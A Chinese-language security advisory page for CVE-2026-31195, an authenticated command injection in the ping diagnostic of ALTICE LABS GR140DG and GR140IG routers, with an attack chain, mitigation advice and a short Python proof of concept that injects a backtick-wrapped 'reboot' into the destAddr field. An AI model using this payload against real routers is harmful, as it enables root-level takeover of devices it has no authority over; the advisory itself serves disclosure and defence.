IPBUF安全漏洞报告
English
CVE-2026-31195 CVSS 8.8 高危

CVE-2026-31195 ALTICE路由器远程命令执行漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-31195
漏洞类型
操作系统命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ALTICE LABS GR140DG, GR140IG

相关标签

RCE命令注入路由器ALTICEIoT安全

漏洞概述

该漏洞影响ALTICE LABS和SFR France的GR140DG及GR140IG光纤路由器。由于设备Web服务中的ping诊断处理程序未对用户输入进行过滤,直接将其传入system()函数执行,导致经过身份认证的攻击者可利用恶意参数以root权限执行任意系统命令。

技术细节

漏洞位于路由器的/bin/httpd_clientside组件中。当处理ping诊断功能时,程序接收用户提交的destAddr参数。由于缺乏必要的输入净化机制,该参数直接被传递给系统的system()调用。攻击者可以利用Shell元字符(如反引号`或$())构造特定的payload。由于攻击需要低权限认证(PR:L),攻击者登录后发送包含恶意命令的请求,服务器便会解析并执行这些命令。由于父进程以root权限运行,攻击者最终可获得设备的最高控制权,进而完全破坏系统的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标设备为ALTICE LABS GR140DG或GR140IG路由器。
STEP 2
2. 获取认证
攻击者利用低权限账号或弱口令登录设备Web管理界面(满足PR:L要求)。
STEP 3
3. 发送恶意请求
攻击者向ping诊断接口发送特制的HTTP请求,在destAddr参数中注入Shell命令(如`whoami`)。
STEP 4
4. 执行命令
服务器端将参数直接传入system()执行,攻击者以root权限在系统上运行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-31195 PoC Example # Target: ALTICE LABS GR140DG / GR140IG import requests def exploit(target_ip, username, password): login_url = f"http://{target_ip}/login" ping_url = f"http://{target_ip}/ping" session = requests.Session() # Step 1: Authenticate (Low Privilege Required) creds = {"username": username, "password": password} session.post(login_url, data=creds) # Step 2: Send malicious payload via destAddr # Using backticks for command substitution payload_data = {"destAddr": "8.8.8.8`reboot`"} response = session.post(ping_url, data=payload_data) if response.status_code == 200: print("Command sent successfully.") else: print("Exploit failed.") # Usage: exploit("192.168.1.1", "admin", "password")

影响范围

ALTICE LABS GR140DG
ALTICE LABS GR140IG

防御指南

临时缓解措施
建议立即更新设备固件以修复此漏洞。在无法立即更新的情况下,应禁用远程Web管理功能,并确保路由器管理接口仅允许受信任的内网IP访问,同时加强账户密码强度以防止被轻易破解。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表